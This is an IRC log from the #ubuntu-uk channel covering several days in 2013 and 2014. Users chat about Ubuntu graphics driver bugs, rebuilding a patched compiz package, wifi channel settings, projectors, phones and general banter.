<kvarley-mobile> Language settings are all English (UK)
<ali1234> someone forked gnome fallback
<ali1234> about time
<ali1234> MATE was always a silly idea
<popey> ali1234: is that the soluous thing?
<ali1234> yeah
<ali1234> the guy seems to have the right idea
<ali1234> fork only gnome-panel
<ali1234> keep the gtk stuff
<ali1234> gtk3*
<ali1234> XFCE and MATE just don't work for me because of gtk2 - indicators don't work
<ali1234> solusos seems to be a distribution?
<ali1234> is it based on ubuntu?
<popey> debian i thought
<ali1234> ah. even better then
<ali1234> should be easy to bring the packages over either way
<ali1234> what's the best way to network up my amiga then?
<ali1234> it's going to have to be serial
<ali1234> all the tcp/ip software is shareware
<ali1234> i don't miss that :(
<ali1234> i wonder if i can port synergy
<ali1234> already been done :)
<ali1234> oh, it needs OS4 :(
#ubuntu-uk 2013-01-19
<brobostigon> good morning everyone,
<Azelphur> http://pastebin.com/WYNd4JMn take it it's time for this hard drive to meet with the bin?
<MartijnV1S> Azelphur: looks a lot like it
<Azelphur> lol fairly conclusive, started up a live usb and it doesn't even show up in gparted
<Azelphur> it broke.
<Azelphur> what does ubuntu use for the boot splash animation now?
<knightwise> hey everyone
<daftykins> Azelphur: breaking hardware now D:
<daftykins> well, more
<Azelphur> daftykins: fixing, turns out it was a busted cable
<Azelphur> :D
<daftykins> ah neat-o
<daftykins> what's worse is when you know a drive is funky, but you can't get the manufacturer diagnostics tools to admit it
<Azelphur> hehe
<daftykins> i've got an OSX mountain lion VM now :O
<brobostigon> whats the freenode ban command ?
<daftykins>  /q ?
<daftykins> oh no that's mode
<daftykins> never done any admin'ing on freenode ;x
<brobostigon> ok.
<brobostigon> i did as it suggested on http://freenode.net/using_the_network.shtml i e, set +b mode, and it didnt work.
<daftykins> are you opered up?
<brobostigon> yes.
<daftykins> hrmm unless the ban mask isn't applying
<daftykins> if it isn't just a nick
<bootkigftrgds> Heads up .. this is one for @czajkowski [ http://goo.gl/k8Zlm ] .. ends in 40 minutes ::: LAAANDON [Free Postage - the fools !!]  ::: http://www.ebay.co.uk/itm/300845859363?ssPageName=STRK:MEBIDX:IT&_trksid=p3984.m1431.l2649&autorefresh=true
<dwatkins> in the description it says 'pick up only'
<dwatkins> "only two corners thst make up the first picture are remaining"
<bootkigftrgds> dwatkins: That is a dirisory comment, by you dwatkins :: Anyone can 'pick up' a Sofa .. It's who pays for the collectin .. And this is 50% of the battle as Ebay would infer it would be at the cost of the ebay Marketeer ..
<dwatkins> maybe
<bootkigftrgds> It's legit, I sear..
<dwatkins> you'd need to arrange a courier
<bootkigftrgds> Done !
<dwatkins> the description does say it quite clearly, but I see your point, it'll be interesting to see what happens
<bootkigftrgds> El bill i being printed by www.NORspeed.com as we speak ..
<bootkigftrgds> **....is being...
<bootkigftrgds> Also on ebay.eu ... http://goo.gl/0MfL4
<bootkigftrgds> Anyay, I'll back off this channel for a couple of hours .. as aspie does take over with moore planning...
<bootkigftrgds> **Anyway..
<bootkigftrgds> #join wrongplanet
<DJones> brobostigon: Are you ok for a pm?
<brobostigon> DJones: yes,
<DJones> ok
<Laney> meow
<brobostigon> it is preferable isnt it, to setup your wifi channel, to one, that is as far away as possible, from any around it? yes.
<shauno> brobostigon: big time, yeah.  wifi channels overlap a lot, so you don't just want to be on a different channel, but preferable 4-5 channels away from your closest neighbours
<ali1234> and it's better to be on the same channel than off by one
<brobostigon> shauno: everything is used, except for some space between channel 8 and 9 and 3 and 4.
<shauno> that's pretty normal.  the trick is to figure out who's using them.  I Worry more about coliding with my neighbour upstairs, than the offices across the road.  I can drown out weak neighbours
<brobostigon> ours is set to channel 6 and is atleast between 2 to three time as powerful as anything around here.
<brobostigon> times*
<shauno> the other fun one is to make sure your wifi is set to UK, because a lot are set to US out of the box, so won't have channels 12 & 13
<brobostigon> it has 12 and 13.
<ali1234> a lot of hardware won't allow you to use 12 and 13 under linux
<shauno> didn't know that.  but then I don't use linux on mobile devices
<ali1234> not mobile devices.
<ali1234> laptops
<brobostigon> interesting,
<ali1234> it can also be caused by the AP
<ali1234> because CRDA will only allow the set of channels allowed by every device involved
<ali1234> the AP broadcasts it's idea of what country it is in in the beacons
<ali1234> if it broadcasts "hello i'm in china" on channel 13, linux will attempt to connect and then fail over and over
<ali1234> and it won't give an error message
<ali1234> it will put some message on dmesg like "disconnecting by choice"
<brobostigon> so as shauno said, inportent to set the country properly.?
<ali1234> setting the country doesn't make any different
<brobostigon> interesting, hmmm,
<ali1234> you can't et the country in your wifi card firmware without special software
<ali1234> and you can't set the country code at all on a lot of routers
<ali1234> you can, but it doesn't actually affect what the beacon says due to badly designed firmwares
<brobostigon> ah.
<ali1234> so the router will hapily use channel 13, but your linux machine will refuse to connect to it
<ali1234> windows doesn't do nearly as much checks so they work fine
<brobostigon> hmmm,
<ali1234> basically attempting to use 12 or 13 is a waste of time because it wont work properly on too many devices
<ali1234> unless you are lucky and didn't buy any broken hardware
<SuperMatt> nice to see the new ubuntu icon has dropped into raring
<SuperMatt> anyone else noticed that the raring has been more stable during development than any other of previous releases?
<penguin42> SuperMatt: It's been pretty good for me - I know a few people who are having problems getting it to boot
<SuperMatt> really? Good job I haven't considered upgrading my work pc
<kvarley> Any plans yet to integrate Nautilus with Mega?
<penguin42> SuperMatt: I think it's specific hardware, but I know 2 people with very different hardware
<andrews> Hey all - does anyone else have problems using Ubuntu and Channel 4's On Demand service?
<Darael> andrews: freezing after the last of the ads?
<Darael> I was just getting ready to report that it seemed to be working fine from here, too.
<bootkigftrgds> dwatkins: Thanks- heaben's Sheffield got it right ... http://goo.gl/JZYPo aall for today, beddie-byes All
<andrews> Darael - yes.  Thats indeed the problem!
<andrews> Only certain shows though
<andrews> Some work, some just go black screen and freeze after the adverts
<Darael> Well, no idea what's causing it, but at least it's definitely not just thee.
<andrews> Was trying to watch that World Without End and it just freezes after the nokia ads.  Is it some DRM lockout?
<popey> Evening!
<bootkigftrgds> popey, Aloha [!!]
<penguin42> popey: Couldn't you bring some warm weather back with you?
<ali1234> hmm... maplin sells on amazon...
<ali1234> http://www.amazon.co.uk/V80H-70MAH-MOUNTED-BATTERY-RECHARGEABLE/dp/B005ZS3XAQ/ref=sr_1_3?s=electronics&ie=UTF8&qid=1358626896&sr=1-3
<ali1234> prices are identical, including delivery... so they are making a loss on that over the website
<ali1234> but presumably they get enough extra business to make up for that
<Azelphur> popey: broke ubuntu.com, https://help.ubuntu.com/11.04/ubuntu-help/session-fingerprint.html
 * Azelphur adds it to the list
<Azelphur> https://bugs.launchpad.net/fglrx/+bug/1068661 is making my life fun atm \o/
<lubotu3> Ubuntu bug 1068404 in xserver-xorg-video-intel (openSUSE) "duplicate for #1068661 Low graphics mode in muxless hybrid ATI/Intel GPU systems after fglrx upgrade" [Critical,In progress]
<solarcloud_3scrn> popey, Just to let you know, They're desperate for it ... http://cgi.ebay.co.uk/ws/eBayISAPI.dll?ViewItem&item=111002225510&ssPageName=ADME:B:SS:GB:1123
<Azelphur> Trying to get Steam running on Ubuntu 12.10, problem is when I install fglrx-updates, or install the latest version of fglrx from the website, Unity doesn't start at all (above bug), any ideas? :(
<dwatkins> sadly my ATI/AMD card just died
<Azelphur> indeed, this is very frustrating :(
<Azelphur> tempting to downgrade to 12.04 to work around it
<penguin42> or upgrade to Raring
<ali1234> Azelphur: or remove unity
#ubuntu-uk 2013-01-20
<popey> morning
<mh0> hi
<kvarley> How can I turn off multiple workspaces in Ubuntu? And remove the switcher from the sidebar? I know this feature is upcoming in 13.04 but is there anyway to do it now?
<MartijnV1S> why would you?
<popey> yes
<popey> in ccsm
<popey> general options
<popey> desktop size
<meet> how do i check if i have samba installed.
<popey> meet: dpkg -l "*samba*"
<brobostigon> good morning everyone,
<popey> yo
<brobostigon> morning popey
<kvarley> Considering upgrading my 12.04.1 desktop to 12.10, any known problems with upgrading?
<kvarley> Also, new catalyst driver \0/
<Azelphur> kvarley: seems to be very bad if your on ATI, I've had nothing but issues on all my ATI boxes
<kvarley> Azelphur: I heard this too but my laptop was fine and that's running an AMD APU
<kvarley> I want to upgrade, but don't want to break everything in the process lol
<Azelphur> yea, seems to be hit and miss depending on what hardware you're on, my HTPC with a 5770 is fine
<Azelphur> but my friends 7770 is pretty much a brick
<kvarley> Azelphur: I'm all AMD so not sure if I'll risk it
<kvarley> Azelphur: Maybe it would be a good idea to wait until AFTER I've done my uni assignment ;)
<Azelphur> probably, I'm gonna upgrade my box but do it by keeping my old 12.04 install around
<Azelphur> so if it doesn't work at all I can rollback
<kvarley> Azelphur: Fair  enough :) seems wise
<Azelphur> https://bugs.launchpad.net/ubuntu/+source/fglrx-installer-updates/+bug/1087840 is what my friend on his 7770 gets \o/
<lubotu3> Ubuntu bug 1087840 in fglrx-installer-updates (Ubuntu) "1002:9991 Unity Desktop disabled after installing fglrx-updates" [Undecided,Incomplete]
<kvarley> lol
<kvarley> And this is when having Unity becomes a nightmare
<MartijnV1S> isn't that a feature?
<MartijnV1S> Azelphur: ATi disabling older cards?
<Azelphur> MartijnV1S: I wouldn't call a 7770 old :P
<kvarley> 7000 series are new cards
<kvarley> Released in like the last 6 months lol
<MartijnV1S> Azelphur: The R7500 was an RV200 card, OpenGL 1.3-era :)
<Azelphur> MartijnV1S: hehe, the HD 7770 is a new card.
<Azelphur> http://www.amd.com/US/PRODUCTS/DESKTOP/GRAPHICS/7000/7770/Pages/radeon-7770.aspx
<MartijnV1S> TOO NEW apparently ;)
<Azelphur> indeed
<Azelphur> someone should fix that bug report, says incomplete even though all the requested information has been provided
<kvarley> since when was hardware too new for linux
<kvarley> I'm sure we never had this problem before
 * Azelphur shrugs
<kvarley> Lame
<MartijnV1S> kvarley: except in graphics and wifi land
<kvarley>  MartijnV1S: Hmmm I guess
<MartijnV1S> though Intel is good with providing new drivers before chips are out now
<kvarley> Lets hope more manufacturers start taking that approach
<kvarley> Mind you Intel have a way bigger budget than most manufacturers
<MartijnVdS> they're also VERY open source-friendly
<Azelphur> Does anyone know of any cheap decent quality projectors? :)
<Azelphur> (yes I know, world on a stick)
<AlanBell> pick two
<Azelphur> AlanBell: I did, cheap and quality :P
 * AlanBell fails at counting
<Azelphur> lol
<AlanBell> pick one
<AlanBell> actually they are all getting good now
<Azelphur> https://www.dropbox.com/s/8w53jtnxpgwh99x/2013-01-17%2004.20.29.jpg is my use case btw, I'm thinking projector on that back wall
<dwatkins> I wondered if there were any with bulbs that aren't hideously expensive.
<AlanBell> I would be tempted by an LED one
<Azelphur> yea, the LED ones or the new laser ones I think don't require bulk replacements
<Azelphur> at least, from my limited understanding
<dwatkins> excellent, much cheaper to maintain
<AlanBell> if you need a big image you need a brighter projector
<Azelphur> yea, I mean that's why I'm interested in them :p
<AlanBell> very bright for rear projection on a translucent screen
<Azelphur> AlanBell: well that's gonna be less than 3 metres on that wall
<MartijnVdS> Azelphur: http://www.screeninnovations.com/tools/projector-wizard/ :)
<Azelphur> I was just planning on projecting it onto the wall, I got big white walls here so figured it'd work?
<MartijnVdS> Azelphur: or http://www.projectorcentral.com/projectors.cfm
<AlanBell> Azelphur: actually white isn't ideal, a grey is better
<Azelphur> I see
<AlanBell> http://www.amazon.co.uk/PROJECTOR-SCREEN-PAINT-STANDARD-KIT/dp/B004N6XEDM%3FSubscriptionId%3DAKIAJZBMY44CTEUFJIYA%26tag%3Dtheopesou-21%26linkCode%3Dsp1%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB004N6XEDM
<AlanBell> might be worth getting a cheaper projector and some expensive paint
<MartijnVdS> or a proper screen to attach to the ceiling
<Azelphur> hehe
<MartijnVdS> so you can actually use the wall for other things while not projecting
<Azelphur> tis annoying how expensive they are, they need to come down in price :p
<Azelphur> jeez its cold today
<MartijnVdS> 'tis
 * MartijnVdS went running
<MartijnVdS> but only got 5km because I was freezing
<Azelphur> I got up and looked out of the window :D
<MartijnVdS> This man is extremely punny... http://www.youtube.com/watch?v=60OYTgs77RI
<bigcalm> Ahoy hoy
<brobostigon> afternoonings bigcalm
<bigcalm> Goodness, it's the afternoon already?
<Myrtti> http://flic.kr/p/dN2QqR â¥ wellies and socks \o/ cotton socks and wellies make my feet warm enough to bare the cold floor
 * penguin42 doesn't see how people can have hard floors especially in days like this
<Myrtti> kitchens
<bigcalm> And bathrooms
<brobostigon> bathrooms
<bigcalm> And saunas
<brobostigon> garage
<Myrtti> I'd have hard floors everywhere if I'd have my way
<bigcalm> :O
<Myrtti> but then I'd also have a bit better built house too
 * bigcalm shivers at the thought
<bigcalm> Heh. Myrtti you'd have a Finnish built house
<Myrtti> I find it ironic that it's about 20 degrees warmer here than in Finland and it's still colder indoors
<Myrtti> and this is a relatively new house
<bigcalm> Myrtti: it always comes back to the fact that we don't have this weather often enough to warrant the building specs you have in Finland
<Myrtti> also, I meant to say cotton socks underneath woollen ones
<bigcalm> Ah
<bigcalm> Have you knitted socks yet?
<Myrtti> bigcalm: as a one time investment that pays out when there's extreme weather, I really, really don't understand what part exactly doesn't warrant the building specs
<Myrtti> bigcalm: those ones yes
<bigcalm> Myrtti: when you don't have the weather, it's a waste of materials, time and money. But the argument could go on for a long time. I'm sure specs are getting better with newer and newer buildings :)
<bigcalm> Myrtti: yay :)
<Ambutech> Good Afternoon
<DJones> Afternoon Ambutech
 * penguin42 wishes someone would put some coal on the winehq wiki server
<Ambutech> snooze mode at winehq ????
<penguin42> Ambutech: Can you get http://wiki.winehq.org/USB
<shauno> works fine here, fwiw
<penguin42> really? Hmmmm
<Ambutech> Not available according to chrome
<shauno> ah, no it's not.  it seemed fast enough because I used wget to see numbers for the speed.  but the returned document is an error
<penguin42> twas working about 2am last time I was looking at that page
<penguin42> you know, the time when I was thinking I'd go to bed and leave following it's instructions until today
<shauno> time to go cache-diving?
<penguin42> or perhaps time for breakfast and see if it comes back by the time I'm done :-)
<penguin42> hmm, I obviously should have had a longer breakfast
<dwatkins> yes, go have some crumpets
<dwatkins> http://www.downforeveryoneorjustme.com/http://wiki.winehq.org says it's down, too
<dwatkins> "Lattica specializes in delivering industrial strength applications for the enterprise environment" - except it's down right now :-/
<daftykins> http://vimeo.com/52711779
<dwatkins> havn't we invented machines that can process landfill yet?
<dwatkins> my first thought seeing that kid's cello is that it probably contained something toxic :-/
<daftykins> ah he'll be fiiiine
<Azelphur> lol, 12.10 works well with my multi monitor setup
<Azelphur> "You can go to that monitor...but you can't come back, ever...muhahahaha."
<daftykins> !
<daftykins> oh :)
<daftykins> heh, they get stuck on the border? :>
<Azelphur> daftykins: they just recurse around inside one X screen xD
<Azelphur> go off the right, come back on the left again
<daftykins> haha, so you have to start them saying run on screen x for them to even appear?
<Azelphur> no, once I move my mouse pointer onto either of my left two screens, I can never go back to the right pair :P
<penguin42> Azelphur: How are they set up ?
<Azelphur> penguin42: 4 screens, 2 twinview instances
<penguin42> oh don't know how twinview works
<penguin42> isn't it all part of xrandr now on the latest versions?
<daftykins> i doubt even that can sort multi-card setups
<daftykins> and worse still, 'The Azelphur setup'
<Azelphur> yea, you can't do multi card setups on xrandr :(
<daftykins> does it work if it's just one display on each card?
<penguin42> hmm you might want to check that on the bleeding edge version
<Azelphur> daftykins: dunno, I didn't try that :P
<daftykins> aww
<Azelphur> https://dl.dropbox.com/u/3832397/misc/2013/Jan/screens.png is how it works lol
<Azelphur> once you go left...you can't go back ;)
<daftykins> =]
<Laney> my god
<Laney> been trying to play civ v over the internet for 40 minutes now
<Laney> plagued by disconnections
<Laney> technology :(
<daftykins> 0o
<Azelphur> Good news, xorg-edgers fixes the wrappy pointer \o/
<Azelphur> Does anyone know how I might install the fix for this? https://bugs.launchpad.net/compiz/+bug/1020830
<lubotu3> Ubuntu bug 1020830 in Compiz 0.9.8 "[regression][GLES] wallpaper plugin does not build any more" [Medium,Triaged]
<Azelphur> says it's fixed on there and in what version and so on, but I guess it hasn't landed in the main repositories yet, so just wondering how I get that patch on my system :P
<penguin42> Azelphur: The fixed package should be built for raring and in the archive
<Azelphur> ah, I'm on precise, can I get it?
<penguin42> erm dunno; https://code.launchpad.net/~vanvugt/compiz/fix-1020830   has a link to the diff, and you could apply that to a source package yourself and rebuild
<penguin42> whether it works on your version is a different matter
<Azelphur> hehe, indeed
<Azelphur> I wonder if I could just grab the .debs from here and install them, https://launchpad.net/~ubuntu-unity/+archive/daily-build/+build/4224198
<Azelphur> actually, isn't there some way for me to pull specific packages from raring down onto my precise install? I'm sure I read something about doing that
<penguin42> you'll hit a load of version conflicts probably if you try to install a raring package on precise
<Azelphur> aww.
<penguin42> but you've got a chance of backporting the fix
<Azelphur> penguin42: seems not, most of the links on that page don't work (yay)
<Azelphur> oh no, just very slow on the diff popup.
<Azelphur> penguin42: mind helping me apply the patch?
<penguin42> sure
<penguin42> don't suppose you know anything about hacking stuff into working on wine?
<Azelphur> penguin42: not really
<penguin42> damn, neither do I :-(
<Azelphur> hehe
<Azelphur> so what do I do with this patch? ;)
<penguin42> ok, so you got the source to the package you need to patch using apt-get source packagename ?
<Azelphur> penguin42: I'm not sure which package this applies against
<penguin42> looks like compiz to me
 * Azelphur apt-get source compiz's
<Azelphur> penguin42: next? :P
<penguin42> ok, so get that diff into a text file - make sure you don't get line wraps or anything
<Azelphur> done
<penguin42> can you pastebin that somehwere, that thing isn't coming up for me
<Azelphur> the patch?
<penguin42> oh yeh it has at last
<Azelphur> http://paste.ubuntu.com/1552591/
<penguin42> ok, great, now cd into the top of the source directory and do    patch --dry-run -p0 < yourpatchfile    what does it say?
<Azelphur> http://pastebin.com/xGaXbt7y
<penguin42> ok, now do sudo apt-get build-dep compiz
<penguin42> so that patch --dry-run didn't actually change anything, but it showed it will go in ok, so the easiest thing is probably hmm,    do the patch without the --dry-run
<Azelphur> righto
<Azelphur> done
<penguin42> ok, now cd into the source dir and run debuild
<penguin42> if you haven't got it it's in devscripts
<penguin42> Azelphur: It'll give an error about something like unexpected changes and tell you the command to run to fix it
<Azelphur> fun, it's still running atm
<penguin42> oh and you might want to do an   export DEB_BUILD_OPTIONS=parallel=10
<penguin42> equivalent of make -j
<Azelphur> haha, bit late now it's still chugging along :P
<daftykins> lies, ctrl+c!
<Neoti_Desktop> Hi Folks, Whats the recommend Operating system for Kdenlive? and what are some general getting started best practases?
<daftykins> Neoti_Desktop: looks like Ubuntu has it
<daftykins> http://userbase.kde.org/Kdenlive/Manual/Installation#Debian.2C_Ubuntu_and_derivatives
<daftykins> though given as it's KDE, 'kubuntu' might be wise
<Neoti_Desktop> with out sounding off. i know ubuntu has it but id like to know what the recommended OS of choice is for it...  :)
<daftykins> maybe ask them
<daftykins> they made it :D
<Neoti_Desktop> right kubuntu.. i'll have a play with that.... yeah i have asked the question on IRC of them so many times but keep getting ignored.... :(
<penguin42> you can mix and match; kde apps work under gnome etc
<daftykins> it would involve downloading a bunch more libs though, right?
<penguin42> probably, but less than reinstalling with the other one
<penguin42> so if you have gnome installed just install the app you want and all the associated libs will download as well
<Azelphur> this takes a long time xD
<Neoti_Desktop> reason i am asking is i keep getting some rendering problems, like blocks and stuff appear in the video all over the screen no matter what i do, and no matter what the input is or render output... so i would like to know a recommended/most supported Kdenlive OS, so that when/if i have problems i can get some "support" etc... i have been using Ubuntu for years , not on 12.10 yet.. im giving it a few more months for al
<penguin42> Azelphur: yeh that's why the parallel option is good :-)
<daftykins> Neoti_Desktop: is your system stable? memtests clean?
<Neoti_Desktop> yep, the system is stable and clean... i have made sure..
<penguin42> Neoti_Desktop: Are they in the produced video or just in what it shows while using the editor?
<Azelphur> ok it's done, said it failed to sign it
<Azelphur> but apart from that I think it went through
<penguin42> Azelphur: OK, that's normal - you should find some .deb's in the directory above it
<Azelphur> yep
<Azelphur> install *.deb, profit?
<penguin42> good luck :-)
<Azelphur> penguin42: well I installed em, but yea wallpaper still don't build :(
<Azelphur> oh hey, but I have wallpaper now
<Azelphur> can't complain xD
<Neoti_Desktop> its in the monitor and render
<Azelphur> yep, success
<Azelphur> ty :)
<penguin42> ok
<SuperEngineer> UbuntuOne music question - purchased stuff download not finished , am I safe to shut link & continue later? [as in normal sync behaviour]
<SuperEngineer> Speed here is currently so slow I need to switch to 3G dongle
<MartijnVdS> SuperEngineer: yes -- downloads go to Ubuntu One storage
<MartijnVdS> so when you come back later it'll sync it up with your disk
<SuperEngineer> MartijnVdS: thanks
<SuperEngineer> -time to drop conxn & use dongle methinks ;)
<SuperEngineer> bbs
<Azelphur> wow, compiz in 12.10 is terrible
<Azelphur> step 1) remove all the features, step 2) here you go
<Azelphur> that be disappointing :(
<SuperEngineer> Thanks MartijnVdS ... downloads now continuing [SuperEngineer hugs his Three dongle!]
<popey> Azelphur: which features?
<jacobw> i don't compiz changed much from a user's perspective between precise and quantal
<ali1234> nothing was actually removed. the default options were changed
<ali1234> the non-unity defaults that is
<ali1234> literally every plugin is disabled so now if yo run compiz without unity you can't even drag windows or have window decorations, unless you enable all the plugins manually
<jacobw> ali1234: huh? why did they do that?
<ali1234> probably the same reason they broke empathy for non-unity users
<jacobw> bleh
<AlanBell> well it is because unity conflicts with everything because it implements stuff like a switcher and decorations
<popey> well we won't have to worry about that much longer will we (unless you're on 12.04)
<AlanBell> hmm?
<popey> well, Sam isn't up for porting compiz to wayland..
<popey> and Unity is (currently) a compiz plugin...
<popey> 2+2=
<AlanBell> oh, but 13.04 is compiz again though
<popey> true
<popey> but 12.04 will outlive 13.04
<jacobw> sam?
<AlanBell> and after judgement day there will just be cockroaches and 12.04
<AlanBell> jacobw: compiz engineer smspillaz
<jacobw> i think i read about him leaving canonical recently
<AlanBell> he did
<popey> you did
<popey> well, you may have, he did âº
<jacobw> :)
<jacobw> perhaps the development of not-compiz will be better for unity
<popey> perhaps
<mh0> Keeping it a plugin makes it depend on compiz.
<popey> It doesn't have to though
<mh0> What if compiz's developers were to magically disappear? ;)
<AlanBell> mh0: they have in effect
<jacobw> bus factors are a fact of life
<popey> Unity has existed in 4 separate ports
<mh0> AlanBell: I guess
<popey> so another one isn't going to make a lot of difference :D
<AlanBell> gnome shell extensions \o/
<AlanBell> maybe not
 * jacobw hopes unity is ported to QT (again, or the previous port is reused) to support wayland, QT and QML for app development
<AlanBell> jacobw: that is likely, given the phone stuff and the claims that it is a single system across all platforms
<AlanBell> I think reality may catch up with the marketing
<jacobw> i really hope NIH about QT doesn't kill standardization on QT/QML as a platform for 'app development'
<AlanBell> who else is using QT now?
<popey> jolla
<popey> RIM
<popey> KDE Plasma
<popey> I was surprised to hear Firefox OS uses gecko
<AlanBell> it was called "boot to gecko" up to recently
<popey> oh yeah âº
<AlanBell> B2G is all over the documentation and wiki
<popey> odd choice
<popey> unless the competition can make gecko and webkit better
<mgdm> did you see the post by one of the Safari guys about when Steve Jobs unveiled KHTML as the renderer for Safari over Gecko?
<AlanBell> dunno, mozilla know gecko, everyone knows how to write stuff for gecko
<jacobw> um, i'm not suprised that mozilla is using gecko
<mgdm> I'd have been very surprised if they hadn't used it
<AlanBell> XUL works fine, I was a bit disappointed that it wasn't pushed further
<jacobw> mgdm: i'd be interested to see that
<mgdm> jacobw: http://donmelton.com/2013/01/10/safari-is-released-to-the-world/ - the last couple of paragraphs are entertaining
<jacobw> mgdm: nice
<jacobw> i thought it'd an ancient post from 2003
<mgdm> the guy has a series of them, I think, recently
<Laney> meow
 * czajkowski pokes Laney 
<Laney> a hole forms
<neuro> Chrome!!! *shakes fist*
<mgdm> neuro: what's up with it?
<neuro> it went into full screen mode and wouldn't come out
<neuro> quit it, restarted it and it went back into full screen mode
<neuro> the second restart seemed to have brought it to its senses
<mgdm> hmm
<neuro> i'm supposed to have an interview for dell secureworks tomorrow btw
<mgdm> oooh, cool
<neuro> i say supposed to because the recruiter didn't get back to me on friday to confirm where i'm actually going
<mgdm> break a leg, etc
<neuro> so i know tomorrow at 1pm i have an interview
<neuro> i just don't know where or with whom :P
<mgdm> not sure if that's meant to be PM? :)
<mgdm> heh
<neuro> na
<neuro> i'm a blabber
<mgdm> I saw a sysadminy job going somewhere nearby recently
<mgdm> I'll see if I can find it
<neuro> nearby to ... ?
<mgdm> I think it was Edinburgh
<mgdm> or environs
<neuro> k :)
<neuro> was it red61?
<mgdm> doesn't ring a bell - though I suspect it was via a recruiter
#ubuntu-uk 2014-01-13
<jussi> hello everyone. hope you are all waking up to a wonderful week...
<MooDoo> morning all
<Myrtti> ali1234: "Nokia finally gives up after consistently terrible Winows Phone sales. Branding and patents sold to Microsoft. Everything else sold to Huawei." The huawei part didn't happen afaik?
<Myrtti> also: I clearly care too much
<MooDoo> yeah I think you do Myrtti :)
<Myrtti> especially when I've cursed pretty much every No* company that operates in Finland to the lowest pits of hell
<directhex> having recently used low-end android and firefoxos devices, windows phone is light years ahead of them on low spec devices
<mapps> hmm
<MartijnVdS> directhex: except there are apps for android
<directhex> MartijnVdS, there are apps, but every second of using the device is unending agony
<directhex> and the apps essentially unuseable due to no responsiveness
<MartijnVdS> directhex: as opposed to WinPhones, which don't have apps and you're using windows.
<directhex> MartijnVdS, how much windows phone (7+) experience do you have?
<MartijnVdS> directhex: about 2 weeks
<MartijnVdS> directhex: couldn't get used to it
<directhex> MartijnVdS, android on "fast" devices, fine - throw enough ghz at android and it papers over the input stack, and the apps all run okay. a device like the nexus 4 is the bare minimum for android to be an acceptable experience. move down the scale into budget land and every terrible thing about android becomes accentuated
<directhex> whereas down the scale, the best features of windows phone become much clearer by comparison. yes there are fewer apps - but an old single-core lumia 610 is a hundred times more usable than a dual-core 1ghz android device like a huawei y300
<SuperMatt> word up homnies
<SuperMatt> -n
<Myrtti> I'm wondering should I uninstall facebook and install tinfoil for facebook instead
<Myrtti> on my N5
<DJones> Myrtti: Interesting app, hadn't heard of that
<Myrtti> DJones: found it last night while searching stuff from F-droid
<DJones> Facebook does appear to be trying to make it possible too much info on users (in that it gives permissions it doesn't need) so sounds a good option, although I guess if people are concerned about that, they'd also be concerned about using a 3rd party app and potentially letting that have access to their data.  Swings and roundabout, who do you trust, I see this does give info for people to check the code, but how many users would actually be ...
<DJones> ... capeable of understanding it, so at the end of the day, it comes down to who you trust to be honest and what info are you prepared to make available
<Myrtti> indeed, that's the reason I haven't installed it yet
<DJones> Must admit, I'd be the same, no matter how much I may distrust an 'official' app, I like to see personal recommendations from people I trust or have respect for before I'd install a 3rd party app
<DJones> Not that I'm overly paranoid, just careful of to who & what info I allow out (as much as possible anyway)
<mapps> man
<mapps> i love the wire
<DJones> Did anybody here watch Sherlock last night, recorded it, but comments I've read about it suggest it was so far off the wall that it wasn't an enjoyable experience
<directhex> i liked the bit where sherlock went into his tardis
<AlanBell> DJones: I liked it better than the previous episode
<BigRedS> DJones: tinfoil's just the browser with a different profile AFAIK; it's certainly the facebook site rather than an actual app
<BigRedS> there's no data at all if there's no net connection, for instance
<bigcalm> Good morning peeps :)
<DJones> AlanBell: Yeah, previous episode was aweful I'm afraid
<dwatkins> DJones: I havn't seen it yet, but I hope it's good.
<mapps> na not i
<DJones> hmmh, maybe give it a chance then, if its got a Tardis it must be good
<mapps> y'all watched the wire?
<jussi> has anyone here got experience with those converters that convert your car to be able ot use RE85 (15% ethanol?)
<mapps> love the wire so much
<mapps> ethanol?!
<mapps> isnt that alcohol
<MartijnVdS> mapps: it is
<mapps> thankyou sir:D
<jussi> err, I mean 15% gasoline, 85% ethanol
<mapps> MartijnVdS,  i cant remember where are you compared to say redlight on holland
<mapps> you are near?
<jussi> http://en.wikipedia.org/wiki/E85
<MartijnVdS> mapps: I'm in Amsterdam
<mapps> yes  know:D
<mapps> but i mean how near red light
<MartijnVdS> mapps: then I don't understand the question
<mapps> hmm
<MartijnVdS> mapps: ah.. 15-30 minutes? Just like *everything* in Amsterdam ;)
<mapps> how near to the redlight are yu
<mapps> aha
<mapps> ok
<mapps> :)
<mapps> you know where hard rock cafe is?
<MartijnVdS> I have no idea
<Myrtti> just as a reminder, please keep the Sherlock spoilers at bay... I think the usual grace period is 7 days...
<mapps> ah
<mapps> was just funny to see some girl say 'aha yes we can cycle in holland because you wont get raped'
<mapps> :D
<mapps> i asked her howcome so many people cycle after dark
<mapps> lol
<diplo> Morning all
<mapps> morning
<DJones> jussi: A friend of ours got a conversion kit to run his car on chip oil, that worked ok, but ended up making him and his passengers smell like a chip shop
<jussi> hehe
<MartijnVdS> DJones: you can fix that by smoking inside the car as well
<jussi> DJones: Im looking at somehting like this: http://www.alibaba.com/product-detail/EcoBox-E85-Ethanol-Biofuel-Flexfuel-Aftermarket_131703483.html
<MartijnVdS> DJones: then they smell like 70s-80s chip shop 8-)
<DJones> MartijnVdS: That just ends up smelling of smoked fish
<MartijnVdS> jussi: doesn't ethanol burn hotter, potentially damaging the engine?
<jussi> MartijnVdS: no idea, hence asking...
<MartijnVdS> jussi: http://auto.howstuffworks.com/fuel-efficiency/alternative-fuels/ethanol-damage-engine.htm
<jussi> MartijnVdS: but that is talking about E15, for cars without a converter
<DJones> From memory, don't US racecars (NASCAR/CART) use ethanol as a fuel rather than petrol, I seem to remember it being commented on and that when there's a crash/fire, the flame is invisible and they just use buckets of water to put it out because its soluble
<jussi> DJones: yeah, somethign like that
<DJones> Just looking, NASCAR is '110 octane gasoline', CART is Methanol
<MartijnVdS> jussi: http://www.ask.com/question/will-e85-hurt-my-car
<mapps> urgh
<mapps> gotta shower/change and ress up smart
<mapps> *dress
<DJones> MartijnVdS: I looked at that link and read it as "Will E45 cream hurt my car" :)
<mapps> getting train in a bit;/
<MartijnVdS> DJones: those E-numbers!
<DJones> No kidding
<DJones> Just give me the blue smarties
<MartijnVdS> those have the most E-numbers?
<DJones> Probably not now, but my wife couldn't have any smarties as a child because of the E number in them, would send her into anaphalactic shock
<MartijnVdS> I wonder.. does E have an E number?
<MartijnVdS> (aka http://en.wikipedia.org/wiki/MDMA)
<bigcalm> This is odd
